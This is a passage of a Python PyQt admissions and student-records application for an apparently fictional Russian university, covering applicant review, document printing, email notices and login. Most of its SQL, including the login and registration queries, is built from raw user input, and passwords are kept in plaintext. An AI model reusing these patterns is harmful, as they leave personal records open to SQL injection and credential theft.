yandex_pass)\n server.sendmail(yandex_mail, send_to_email, msg)\n server.quit()\n print('E-mails successfully sent!')\n\n\nclass Anketa(QMainWindow, Ui_Anketa):\n def __init__(self, path, user, main_user):\n self.user = user\n self.main_user = main_user\n self.path = path\n super().__init__()\n self.setupUi(self)\n self.con = sqlite3.connect(self.path)\n self.curs = self.con.cursor()\n\n self.btn_go_to_menu.clicked.connect(self.go_to_menu)\n self.btn_photo.clicked.connect(self.shw_photo)\n\n self.btn_save.clicked.connect(self.save_1)\n self.btn_save_2.clicked.connect(self.save_2)\n self.btn_save_3.clicked.connect(self.save_3)\n\n self.paper = self.curs.execute(\n f\"\"\"SELECT serial_number, number, gave, code, date FROM Paper WHERE id = {self.user}\"\"\").fetchone()\n\n self.id = self.curs.execute(\n f\"\"\"SELECT FIO FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.fio = self.curs.execute(\n f\"\"\"SELECT FIO FROM UserForm WHERE id = {self.id}\"\"\").fetchone()[0]\n\n self.sex = self.curs.execute(\n f\"\"\"SELECT sex FROM UserForm WHERE id = {self.id}\"\"\").fetchone()[0]\n\n self.birthday = self.curs.execute(\n f\"\"\"SELECT birthday FROM UserForm WHERE id = {self.id}\"\"\").fetchone()[0]\n\n self.year_join = int(self.curs.execute(\n f\"\"\"SELECT year FROM Students WHERE id = {self.user}\"\"\").fetchone()[0])\n print(self.fio)\n dt = self.fio.split(\" \")\n\n self.surname = dt[0]\n self.name = dt[1]\n self.otch = dt[2]\n self.data = \\\n self.curs.execute(\n f\"\"\"Select study_ticket_number, facultet, Groups from Students where id = {self.user}\"\"\").fetchall()[\n 0]\n self.tk_number = self.user\n self.facultet = self.data[1]\n self.group = self.data[2]\n\n self.label_fio.setText(self.fio)\n self.label_sex.setText(self.sex)\n self.label_birthday.setText(str(self.birthday))\n\n self.edit_serial.setText(str(self.paper[0]))\n self.edit_number.setText(str(self.paper[1]))\n self.edit_gave.setText(str(self.paper[2]))\n self.edit_code.setText(str(self.paper[3]))\n self.edit_date.setText(str(self.paper[4]))\n self.btn_study_ticket.clicked.connect(self.study_ticket)\n self.btn_zachetka.clicked.connect(self.zach_book)\n\n self.phone_number = self.curs.execute(\n f\"\"\"SELECT phone_number FROM UserForm WHERE id = {self.id}\"\"\").fetchone()[0]\n\n self.mail = self.curs.execute(\n f\"\"\"SELECT email FROM UserForm WHERE id = {self.id}\"\"\").fetchone()[0]\n\n self.reg_adress = self.curs.execute(\n f\"\"\"SELECT reg_address FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.reg_adress = self.curs.execute(\n f\"\"\"SELECT address_index, city, street, house, flat FROM Address WHERE id = {self.reg_adress}\"\"\").fetchone()\n\n self.live_adress = self.curs.execute(\n f\"\"\"SELECT live_address FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.live_adress = self.curs.execute(\n f\"\"\"SELECT address_index, city, street, house, flat FROM Address WHERE id = {self.live_adress}\"\"\").fetchone()\n\n self.edit_adress_1.setText(\n f\"{self.reg_adress[0]}, {self.reg_adress[1]}, {self.reg_adress[2]}, {self.reg_adress[3]}, {self.reg_adress[4]}\")\n self.edit_adress_2.setText(\n f\"{self.live_adress[0]}, {self.live_adress[1]}, {self.live_adress[2]}, {self.live_adress[3]}, {self.live_adress[4]}\")\n self.edit_phone_number.setText(str(self.phone_number))\n self.edit_email.setText(str(self.mail))\n\n self.branch = self.curs.execute(\n f\"\"\"SELECT Branch FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.facultet_name = self.curs.execute(\n f\"\"\"SELECT name FROM Facultets WHERE id = {self.facultet}\"\"\").fetchone()[0]\n\n self.branch_name = self.curs.execute(\n f\"\"\"SELECT name FROM Branches WHERE id = {self.branch}\"\"\").fetchone()[0]\n\n self.join_date = self.curs.execute(\n f\"\"\"SELECT join_date FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.leave_date = self.curs.execute(\n f\"\"\"SELECT leave_date FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.label_facultet.setText(str(self.facultet_name))\n self.label_branch.setText(str(self.branch_name))\n\n self.comboBox_group_number.setCurrentIndex(int(self.group) - 1)\n self.label_stud_number.setText(str(self.user))\n self.label_zach_number.setText(str(self.user))\n self.edit_chit_bilet.setText(str(self.user))\n\n self.label_date_zach.setText(str(self.join_date))\n self.label_date_otch.setText(str(self.leave_date))\n\n def question(self):\n pass\n\n def study_ticket(self):\n if self.facultet == 1:\n self.dec = \" Пу��кин В.Э.\"\n elif self.facultet == 2:\n self.dec = \"Иванов И.И.\"\n self.doc = DocxTemplate(os.path.abspath(\"Формат студ билета.docx\"))\n context = {'study_number': \"{}\".format(self.tk_number), 'surname': \"{}\".format(self.surname),\n 'name': \"{}\".format(self.name),\n 'otch': \"{}\".format(self.otch), 'facultet': \"{}\".format(self.facultet_name),\n 'group': \"{}\".format(self.group),\n 'year1': \"{}\".format(self.year_join), 'year2': \"{}\".format(self.year_join + 1),\n 'year3': \"{}\".format(self.year_join + 2),\n 'year4': \"{}\".format(self.year_join + 3), 'year5': \"{}\".format(self.year_join + 4),\n 'year6': \"{}\".format(self.year_join + 5),\n 'level1': \"{}\".format(1), 'level2': \"{}\".format(2), 'level3': \"{}\".format(3),\n 'level4': \"{}\".format(4),\n 'level5': \"{}\".format(5), 'level6': \"{}\".format(6), 'decan': \"{}\".format(self.dec)}\n self.doc.render(context)\n self.doc.save(\"Билет.docx\")\n os.startfile(os.path.abspath(\"Билет.docx\"), \"print\")\n\n def zach_book(self):\n self.zachetka = DocxTemplate(os.path.abspath(\"Формат зачетной книжки.docx\"))\n context = {'number': self.tk_number, 'fio': self.fio, 'facultet': self.facultet_name, 'spec': self.branch_name}\n self.zachetka.render(context)\n self.zachetka.save(\"Зачетка.docx\")\n os.startfile(os.path.abspath(\"Зачетка.docx\"), \"print\")\n\n\n\n def shw_photo(self):\n dt = self.curs.execute(f\"\"\"Select photo_path from UserForm where id = {self.id}\"\"\").fetchall()[0][0]\n self.ex = Example(dt)\n self.ex.show()\n\n def save_1(self):\n self.curs.execute(\n f\"\"\"UPDATE Paper set serial_number = '{self.edit_serial.text()}', number = '{self.edit_number.text()}', gave = '{self.edit_gave.text()}', code = '{self.edit_code.text()}', date = '{self.edit_date.text()}' WHERE id = {self.user}\"\"\"\n )\n self.con.commit()\n\n def save_2(self):\n try:\n self.curs.execute(\n f\"\"\"UPDATE UserForm set phone_number = '{self.edit_phone_number.text()}', email = '{str(self.edit_email.text())}' WHERE id = {self.id}\"\"\"\n )\n self.con.commit()\n except Exception as ex:\n print(ex)\n\n self.reg_adress = self.curs.execute(\n f\"\"\"SELECT reg_address FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.live_adress = self.curs.execute(\n f\"\"\"SELECT live_address FROM Students WHERE id = {self.user}\"\"\").fetchone()[0]\n\n self.reg_base = self.edit_adress_1.text().split(', ')\n self.live_base = self.edit_adress_2.text().split(', ')\n\n try:\n self.curs.execute(\n f\"\"\"UPDATE Address set address_index = '{str(self.reg_base[0])}', city = '{str(self.reg_base[1])}', street = '{str(self.reg_base[2])}', house = '{str(self.reg_base[3])}', flat = '{str(self.reg_base[4])}' WHERE id = {self.reg_adress}\"\"\"\n )\n\n self.curs.execute(\n f\"\"\"UPDATE Address set address_index = '{str(self.live_base[0])}', city = '{str(self.live_base[1])}', street = '{str(self.live_base[2])}', house = '{str(self.live_base[3])}', flat = '{str(self.live_base[4])}' WHERE id = {self.live_adress}\"\"\"\n )\n\n self.con.commit()\n except Exception as ex:\n print(ex)\n\n def save_3(self):\n try:\n self.gr = self.curs.execute(\n f\"\"\"SELECT id FROM Groups WHERE name = '{self.comboBox_group_number.currentText()}'\"\"\").fetchone()[0]\n\n self.curs.execute(\n f\"\"\"UPDATE Students set Groups = '{self.gr}' WHERE id = {self.user}\"\"\"\n )\n self.con.commit()\n except Exception as ex:\n print(ex)\n\n def go_to_menu(self):\n self.win = Main(\"DATABASE.db\", self.main_user)\n self.win.show()\n self.close()\n\n\nclass Main(QMainWindow, Ui_MainWindow):\n def __init__(self, path, user):\n self.path = path\n self.user = user\n super(Main, self).__init__()\n self.setupUi(self)\n self.con = sqlite3.connect(self.path)\n self.curs = self.con.cursor()\n if self.user == 1:\n self.comboBox.removeItem(3)\n self.comboBox.removeItem(3)\n elif self.user == 2:\n self.comboBox.removeItem(0)\n self.comboBox.removeItem(0)\n self.comboBox.removeItem(0)\n self.update_data()\n self.comboBox.currentTextChanged.connect(self.update_data)\n self.tableWidget.cellClicked.connect(self.student)\n\n def update_data(self):\n self.brch = self.curs.execute(\n \"\"\"Select id From Branches WHERE name = \"{}\" \"\"\".format(self.comboBox.currentText())).fetchall()[0][0]\n # print(self.brch)\n self.dt = self.curs.execute(\"\"\"Select id, FIO from Students Where Branch = {} \"\"\".format(self.brch)).fetchall()\n # print(self.dt)\n\n if self.dt:\n data = []\n for j in self.dt:\n\n k = self.curs.execute(\"\"\"Select FIO from UserForm Where id = {} \"\"\".format(j[1])).fetchall()[0][0]\n print(j[0], k)\n\n data.append((j[0], k))\n print(data)\n self.update_table(data)\n else:\n self.update_table(self.dt)\n\n def update_table(self, data):\n # print(data)\n self.tableWidget.setRowCount(0)\n n = len(data)\n try:\n self.tableWidget.setRowCount(n)\n for i in range(n):\n self.tableWidget.setItem(i, 0, QTableWidgetItem())\n self.tableWidget.setItem(i, 1, QTableWidgetItem())\n\n self.tableWidget.item(i, 0).setText(str(data[i][0]))\n self.tableWidget.item(i, 1).setText(str(data[i][1]))\n except Exception as er:\n print(er)\n\n def student(self):\n try:\n self.win = Anketa(\"DATABASE.db\", int(self.tableWidget.item(self.tableWidget.currentRow(), 0).text()),\n self.user)\n self.close()\n self.win.show()\n except Exception as error:\n print(error)\n\n\nclass CheckWindow(QMainWindow, Ui_Check):\n def __init__(self, path, user):\n self.user = user\n self.path = path\n super().__init__()\n self.setupUi(self)\n self.con = sqlite3.connect(self.path)\n self.curs = self.con.cursor()\n try:\n self.data = self.curs.execute(\n f\"\"\"SELECT photo_path, agree_path, agree_join_path from Anket WHERE id = {self.user}\"\"\").fetchall()[0]\n except Exception as ex:\n self.data = ('', '', '')\n print(self.data)\n self.personal_photo.clicked.connect(self.shw_pers_photo)\n self.paper_photo.clicked.connect(self.shw_paper_photo)\n self.agree_photo.clicked.connect(self.shw_ag_photo)\n self.tabel_photo.clicked.connect(self.shw_tb_photo)\n self.achives_photo.clicked.connect(self.shw_ach_photo)\n self.join_agree_photo.clicked.connect(self.shw_join_photo)\n\n self.radioButton_bad.clicked.connect(self.unblocking)\n self.radioButton_good.clicked.connect(self.unblocking)\n\n self.checkbox_base = [self.checkBox, self.checkBox_2, self.checkBox_3, self.checkBox_4, self.checkBox_5,\n self.checkBox_6]\n\n self.btn_back.clicked.connect(self.go_to_main)\n self.btn_send.clicked.connect(self.sending)\n\n self.fio = self.curs.execute(\n f\"\"\"SELECT FIO from UserForm WHERE id = {self.user}\"\"\").fetchone()[0]\n self.label_FIO.setText(self.fio)\n self.mail = self.curs.execute(\n f\"\"\"SELECT email from UserForm WHERE id = {self.user}\"\"\").fetchall()[0]\n\n def sending(self):\n self.wrongs = []\n if self.radioButton_bad.isChecked():\n for box in self.checkbox_base:\n if box.isChecked():\n self.wrongs.append(box.text())\n self.curs.execute(\n f\"\"\"UPDATE UserForm set level = 'Отправлено на доработку' WHERE id = {self.user}\"\"\"\n )\n self.con.commit()\n # отправка письма с ошибками\n\n message = f\"\"\"Добрый день, {self.fio}!\nУведомляем вас, что при подаче документов в Сызранский государственный университет имени Филиппа Лимонадова вы допустили ошибки в:\n {', '.join(self.wrongs)} \nПросим исправить ошибки в ближайшее время.\nС уважением,\nприемная комиссия СГУ им. Ф.Лимонадова\"\"\"\n\n message = message.encode(\"utf-8\")\n\n mail = self.mail\n\n send_emails(mail, message)\n\n else:\n # отправка письма об участии\n\n message = f\"\"\"Добрый день, {self.fio}!\nУведомляем вас, что вы успешно подали документы в Сызранский государственный университет имени Филиппа Лимонадова. С этого момента вы участвуете в конкурсе на зачисление.\nС уважением,\nприемная комиссия СГУ им. Ф.Лимонадова\"\"\"\n message = message.encode(\"utf-8\")\n\n mail = self.mail\n\n send_emails(mail, message)\n\n self.curs.execute(\n f\"\"\"UPDATE UserForm set level = 'Принято' WHERE id = {self.user}\"\"\"\n )\n self.con.commit()\n\n def go_to_main(self):\n try:\n self.win = UI_Komissia(\"DATABASE.db\")\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n def unblocking(self):\n if self.radioButton_bad.isChecked():\n for box in self.checkbox_base:\n box.setEnabled(1)\n else:\n for box in self.checkbox_base:\n box.setDisabled(1)\n\n def shw_pers_photo(self):\n if self.data[0]:\n self.ex = Example(self.data[0])\n self.ex.show()\n else:\n info = QMessageBox.information(self, \"Message\", \"Пользователь не загрузил эти данные\")\n\n def shw_ag_photo(self):\n if self.data[1]:\n self.ex = Example(self.data[1])\n self.ex.show()\n else:\n info = QMessageBox.information(self, \"Message\", \"Пользователь не загрузил эти данные\")\n\n def shw_join_photo(self):\n if self.data[2]:\n self.ex = Example(self.data[2])\n self.ex.show()\n else:\n info = QMessageBox.information(self, \"Message\", \"Пользователь не загрузил эти данные\")\n\n def shw_paper_photo(self):\n dt = self.curs.execute(\"\"\"Select photo_path from paper where id = 1\"\"\").fetchall()[0][0]\n if dt:\n self.ex = Example(dt)\n self.ex.show()\n\n else:\n info = QMessageBox.information(self, \"Message\", \"Пользователь не загрузил эти данные\")\n\n def shw_tb_photo(self):\n try:\n dt = self.curs.execute(\"\"\"Select photo_path from Education where id = 1\"\"\").fetchall()[0][0]\n if dt:\n self.ex = Example(dt)\n self.ex.show()\n else:\n info = QMessageBox.information(self, \"Message\", \"Пользователь не загрузил эти данные\")\n except Exception as er:\n print(er)\n\n def shw_ach_photo(self):\n try:\n dt = self.curs.execute(\"\"\"Select photo_path from Achives where id = 1\"\"\").fetchall()[0][0]\n if dt:\n self.ex = Example(dt)\n self.ex.show()\n else:\n info = QMessageBox.information(self, \"Message\", \"Пользователь не загрузил эти данные\")\n\n except Exception as er:\n print(er)\n\n\nclass Results_Table(QMainWindow, Ui_Results_Table):\n def __init__(self, path):\n self.path = path\n super().__init__()\n self.setupUi(self)\n self.con = sqlite3.connect(self.path)\n self.cur = self.con.cursor()\n\n self.btn_go_to_main.clicked.connect(self.go_to_main)\n self.comboBox.activated.connect(self.get_data)\n # self.user_id = self.cur.execute(\"\"\"Select PersonalData from Anket\"\"\").fetchall()[0]\n # self.exam = self.cur.execute(\"\"\"Select Exams from Anket\"\"\").fetchall()[0]\n # self.ach = self.cur.execute(\"Select Achives from Anket\").fetchall()[0]\n # self.cp = self.cur.execute(\"Select copy from Anket\").fetchall()[0]\n\n def get_data(self):\n try:\n self.brch = self.cur.execute(\n \"\"\"Select id from Branches where name = \"{}\" \"\"\".format(self.comboBox.currentText())).fetchall()[0][0]\n self.need = self.cur.execute(\n \"\"\"Select need from Branches where name = \"{}\" \"\"\".format(self.comboBox.currentText())).fetchall()[0][0]\n\n self.data = self.cur.execute(\n \"\"\"Select PersonalData, Exams, Achives, copy from Anket WHERE Branch = {}\"\"\".format(\n self.brch)).fetchall()\n self.items = []\n for i in self.data:\n self.FIO = \\\n self.cur.execute(\"\"\"Select FIO from UserForm WHERE id = {}\"\"\".format(i[0])).fetchall()[0][0]\n self.ach = \\\n self.cur.execute(\"\"\"Select price from Achives where id = {}\"\"\".format(i[2])).fetchall()[0][0]\n if i[3]:\n self.cp = \"Да\"\n else:\n self.cp = \"Нет\"\n self.ex = self.cur.execute(\n \"\"\"Select rus, math, \"{}\" from Exams where id = {} \"\"\".format(self.need, i[1])).fetchall()[0]\n self.summ = sum(self.ex)\n self.items.append((self.FIO, self.summ, self.ach, self.cp))\n self.tableWidget.setRowCount(0)\n n = len(self.items)\n self.tableWidget.setRowCount(n)\n for j in range(n):\n self.tableWidget.setItem(j, 0, QTableWidgetItem())\n self.tableWidget.setItem(j, 1, QTableWidgetItem())\n self.tableWidget.setItem(j, 2, QTableWidgetItem())\n self.tableWidget.setItem(j, 3, QTableWidgetItem())\n\n self.tableWidget.item(j, 0).setText(self.items[j][0])\n self.tableWidget.item(j, 1).setText(str(self.items[j][1]))\n self.tableWidget.item(j, 2).setText(str(self.items[j][2]))\n self.tableWidget.item(j, 3).setText(self.items[j][3])\n\n except Exception as er:\n print(er)\n\n def go_to_main(self):\n try:\n self.win = UI_Komissia(\"DATABASE.db\")\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass UI_Komissia(QMainWindow, Ui_Komissia):\n def __init__(self, path):\n self.path = path\n super().__init__()\n self.setupUi(self)\n\n self.conn = sqlite3.connect(self.path)\n self.curs = self.conn.cursor()\n # self.tableWidget.horizontalHeader().setSectionResizeMode(0, QtWidgets.QHeaderView.Stretch)\n # self.tableWidget.horizontalHeader().setSectionResizeMode(1, QtWidgets.QHeaderView.Stretch)\n # self.tableWidget.horizontalHeader().setSectionResizeMode(2, QtWidgets.QHeaderView.Stretch)\n # self.tableWidget.horizontalHeader().setSectionResizeMode(3, QtWidgets.QHeaderView.Stretch)\n # self.tableWidget.horizontalHeader().setSectionResizeMode(4, QtWidgets.QHeaderView.Stretch)\n # self.tableWidget.horizontalHeader().setSectionResizeMode(5, QtWidgets.QHeaderView.Stretch)\n self.update_data()\n self.tableWidget.cellClicked.connect(self.student)\n\n self.btn_go_to_tables.clicked.connect(self.go_to_tables)\n self.btn_go_to_zach.clicked.connect(self.go_to_zach)\n\n self.student_status = 'Новый'\n\n def go_to_tables(self):\n try:\n self.win = Results_Table(\"DATABASE.db\")\n self.close()\n self.win.show()\n except Exception as er:\n print(er)\n\n def go_to_zach(self):\n pass\n\n def update_data(self):\n self.data = self.curs.execute(\n \"\"\"Select id, FIO, sex, email, phone_number from UserForm\"\"\").fetchall()\n self.update_table()\n\n def update_table(self):\n self.tableWidget.setRowCount(0)\n\n n = len(self.data)\n self.tableWidget.setRowCount(n)\n for i in range(n):\n self.tableWidget.setItem(i, 0, QTableWidgetItem())\n self.tableWidget.setItem(i, 1, QTableWidgetItem())\n self.tableWidget.setItem(i, 2, QTableWidgetItem())\n self.tableWidget.setItem(i, 3, QTableWidgetItem())\n self.tableWidget.setItem(i, 4, QTableWidgetItem())\n\n self.tableWidget.item(i, 0).setText(str(self.data[i][0]))\n self.tableWidget.item(i, 1).setText(self.data[i][1])\n self.tableWidget.item(i, 2).setText(str(self.data[i][2]))\n self.tableWidget.item(i, 3).setText(self.data[i][3])\n self.tableWidget.item(i, 4).setText(str(self.data[i][4]))\n\n for i in range(n):\n self.anketa = self.curs.execute(\n f\"\"\"Select Address, Paper, PersonalData, Education, agree_path, edu_form, branch, Exams, Achives, birthday, place_of_birth, phone_number, photo_path, campus, copy, agree_join_path from Anket where id='{i + 1}'\"\"\").fetchone()\n\n kol = 0\n self.level = self.curs.execute(\n f\"\"\"Select level from UserForm WHERE id = {i + 1}\"\"\").fetchone()[0]\n\n if self.level == None:\n self.level = 'Новый'\n\n if self.anketa:\n for j in self.anketa:\n if j:\n kol += 1\n\n if kol == len(self.anketa):\n self.student_status = 'Полный комплект'\n if self.level == 'Новый':\n self.level = 'На рассмотрении'\n elif ((kol == len(self.anketa) - 1) or (kol == len(self.anketa) - 1)) and (\n (not self.anketa[-1]) or (not self.anketa[-2])):\n self.student_status = 'Комплект без оригинала'\n elif kol > 0:\n self.student_status = 'В работе'\n else:\n self.student_status = 'Новый'\n else:\n self.student_status = 'Новый'\n\n self.curs.execute(\n f\"\"\"UPDATE UserForm set level = '{self.level}' WHERE id = {i + 1}\"\"\"\n )\n self.conn.commit()\n\n self.tableWidget.setItem(i, 5, QTableWidgetItem())\n self.tableWidget.item(i, 5).setText(self.student_status)\n\n self.tableWidget.setItem(i, 6, QTableWidgetItem())\n self.tableWidget.item(i, 6).setText(self.level)\n\n def student(self):\n try:\n self.win = CheckWindow(\"DATABASE.db\", int(self.tableWidget.item(self.tableWidget.currentRow(), 0).text()))\n self.close()\n self.win.show()\n except Exception as error:\n print(error)\n\n\nclass Example(QWidget):\n\n def __init__(self, path):\n self.path = path\n super().__init__()\n\n self.initUI()\n\n def initUI(self):\n hbox = QHBoxLayout(self)\n pixmap = QtGui.QPixmap(self.path)\n\n lbl = QLabel(self)\n lbl.setPixmap(pixmap)\n\n hbox.addWidget(lbl)\n self.setLayout(hbox)\n\n self.move(300, 200)\n self.setWindowTitle('Photo')\n self.show()\n\n\nclass Contacts(QMainWindow, Ui_Contacts):\n def __init__(self, facultet):\n self.facultet = facultet\n super(Contacts, self).__init__()\n self.setupUi(self)\n if self.facultet == 1:\n self.lbl_decan.setText(\"\"\"Декан - Пупкин Василий Эдуардович \n(телефон 8 (800) 000-00-01, E-mail - pupkin.v.sgu@yandex.ru) \nЗам. декана - Прекрасная Василиса Ивановна \n(телефон 8 (800) 000-00-02, E-mail - prekrasnaya.v.sgu@yandex.ru) \nСекретарь - Секретарев Дмитрий Борисович \n(телефон 8 (800) 000-00-03, E-mail - sekretarev.d.sgu@yandex.ru) \nСекретарь - Ухов Евгений Олегович \n(телефон 8 (800) 000-00-04, E-mail - uhov.e.sgu@yandex.ru) \n\"\"\")\n elif self.facultet == 2:\n self.lbl_decan.setText(\"\"\" Декан - Иванов Иван Иванович\n (телефон 8 (800) 001-00-01, E-mail - ivanov.i.sgu@yandex.ru)\n Зам. декана - Сидоров Сергей Петрович\n (телефон 8 (800) 001-00-02, E-mail - sidorov.s.sgu@yandex.ru)\n Секретарь - Петрова Ирина Викторовна\n (телефон 8 (800) 001-00-03, E-mail - petrova.i.sgu@yandex.ru)\n \"\"\")\n\n\nclass Student_Room(QMainWindow, Ui_Student_Room):\n def __init__(self, path, user):\n self.path = path\n self.user = user\n super(Student_Room, self).__init__()\n self.setupUi(self)\n self.con = sqlite3.connect(self.path)\n self.curs = self.con.cursor()\n self.branch = self.curs.execute(f\"\"\"Select name FROM Branches Where id = {self.user[0]}\"\"\").fetchall()[0][0]\n self.facultet = self.curs.execute(f\"\"\"Select name FROM Facultets Where id = {self.user[1]}\"\"\").fetchall()[0][0]\n self.group = self.curs.execute(f\"\"\"Select name FROM Groups Where id = {self.user[2]}\"\"\").fetchall()[0][0]\n print(self.group, self.branch, self.facultet)\n self.lbl_branch.setText(self.branch)\n self.lbl_fuck.setText(self.facultet)\n self.lbl_group.setText(str(self.group))\n self.btn_info.clicked.connect(self.inf)\n self.btn_timetable.clicked.connect(self.schedule)\n\n self.tableWidget.cellClicked.connect(self.show_photo)\n\n self.update_data()\n # Мы берём БВИ Мы берём БВИ Мы берём БВИ Мы берём БВИ Мы берём БВИ Мы берём БВИ Мы берём БВИ Мы берём БВИ\n # Мы призёры Мы призёры Мы призёры АБП Мы призёры АБП Мы призёры АБП Мы призёры АБП Мы призёры АБП\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - пр��зёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n # Поле название команды обязательно для заполнения - призёры\n\n def show_photo(self):\n if self.tableWidget.currentColumn() != 5:\n return\n else:\n self.path = self.tableWidget.item(self.tableWidget.currentRow(), 1).text().split()[0]\n print(self.path)\n self.ex = Example(f\"Photos/{self.path}.jpg\")\n self.ex.show()\n\n def update_data(self):\n self.data = self.curs.execute(\n \"\"\"Select lesson, FIO, rang, profession, email from Teachers\"\"\").fetchall()\n self.update_table()\n\n def update_table(self):\n self.tableWidget.setRowCount(0)\n\n n = len(self.data)\n self.tableWidget.setRowCount(n)\n for i in range(n):\n self.tableWidget.setItem(i, 0, QTableWidgetItem())\n self.tableWidget.setItem(i, 1, QTableWidgetItem())\n self.tableWidget.setItem(i, 2, QTableWidgetItem())\n self.tableWidget.setItem(i, 3, QTableWidgetItem())\n self.tableWidget.setItem(i, 4, QTableWidgetItem())\n self.tableWidget.setItem(i, 5, QTableWidgetItem())\n\n self.tableWidget.item(i, 0).setText(str(self.data[i][0]))\n self.tableWidget.item(i, 1).setText(self.data[i][1])\n self.tableWidget.item(i, 2).setText(str(self.data[i][2]))\n self.tableWidget.item(i, 3).setText(self.data[i][3])\n self.tableWidget.item(i, 4).setText(str(self.data[i][4]))\n self.tableWidget.item(i, 5).setText(\"Открыть\")\n\n def inf(self):\n try:\n self.ex = Contacts(self.facultet)\n self.ex.show()\n except Exception as er:\n print(er)\n\n def schedule(self):\n try:\n dt = self.curs.execute(f\"\"\"Select timetable from Groups where id = {self.user[2]}\"\"\").fetchall()[0][0]\n self.shed = Example(f\"Photos/{dt}\")\n self.shed.show()\n except Exception as er:\n print(er)\n\n\nclass Reg(QtWidgets.QMainWindow):\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Reg()\n self.ui.setupUi(self)\n\n self.ui.label_error.hide()\n\n self.ui.pushButton.clicked.connect(self.go_back)\n self.ui.btn_reg.clicked.connect(self.register)\n\n def go_back(self):\n try:\n self.win = Join(self)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n def register(self):\n Name = None\n Surname = None\n Otch = None\n Sex = None\n Login = None\n Password = None\n\n if len(self.ui.edit_name.text()) > 0:\n Name = self.ui.edit_name.text()\n else:\n self.ui.label_error.show()\n return\n\n if len(self.ui.edit_surname.text()) > 0:\n Surname = self.ui.edit_surname.text()\n else:\n self.ui.label_error.show()\n return\n\n if len(self.ui.edit_dad.text()) > 0:\n Otch = self.ui.edit_dad.text()\n else:\n self.ui.label_error.show()\n return\n\n if len(self.ui.edit_mail.text()) > 0:\n Login = self.ui.edit_mail.text()\n else:\n self.ui.label_error.show()\n return\n\n if len(self.ui.edit_password.text()) > 0:\n Password = self.ui.edit_password.text()\n else:\n self.ui.label_error.show()\n return\n\n radio_base = [self.ui.radioButton_female, self.ui.radioButton_male]\n for rad in radio_base:\n if rad.isChecked():\n Sex = rad.text()\n\n if not Sex:\n self.ui.label_error.show()\n return\n\n try:\n con = sqlite3.connect(\"DATABASE.db\")\n curs = con.cursor()\n curs.execute(\n f\"\"\"INSERT INTO UserForm(name, surname, otchestvo, password, email, sex) VALUES(\"{Name}\", \"{Surname}\", \"{Otch}\", \"{Password}\", \"{Login}\", \"{Sex}\") \"\"\")\n con.commit()\n con.close()\n except sqlite3.IntegrityError:\n print(\"Этот email уже используется\")\n\n try:\n self.win = Join(self)\n self.close()\n self.win.show()\n\n except Exception as er:\n print(er)\n\n\nclass Join(QtWidgets.QMainWindow):\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent)\n self.ui = Ui_Join()\n self.ui.setupUi(self)\n\n self.ui.label_error.hide()\n\n self.ui.btn_join.clicked.connect(self.go_join)\n self.ui.btn_reg.clicked.connect(self.go_reg)\n\n def go_join(self):\n Login = None\n Password = None\n\n if len(self.ui.edit_login.text()) > 0:\n Login = self.ui.edit_login.text()\n else:\n self.ui.label_error.setText(\"Введите логин и пароль\")\n self.ui.label_error.show()\n return\n\n if len(self.ui.edit_password.text()) > 0:\n Password = self.ui.edit_password.text()\n else:\n self.ui.label_error.setText(\"Введите логин и пароль\")\n self.ui.label_error.show()\n return\n\n con = sqlite3.connect(\"DATABASE.db\")\n curs = con.cursor()\n ex = curs.execute(\n \"\"\"SELECT * FROM UserForm WHERE email = \"{}\" and password = \"{}\" \"\"\".format(Login, Password)).fetchone()\n\n if not ex:\n\n ex = curs.execute(\n \"\"\"Select * FROM Join_party where name = 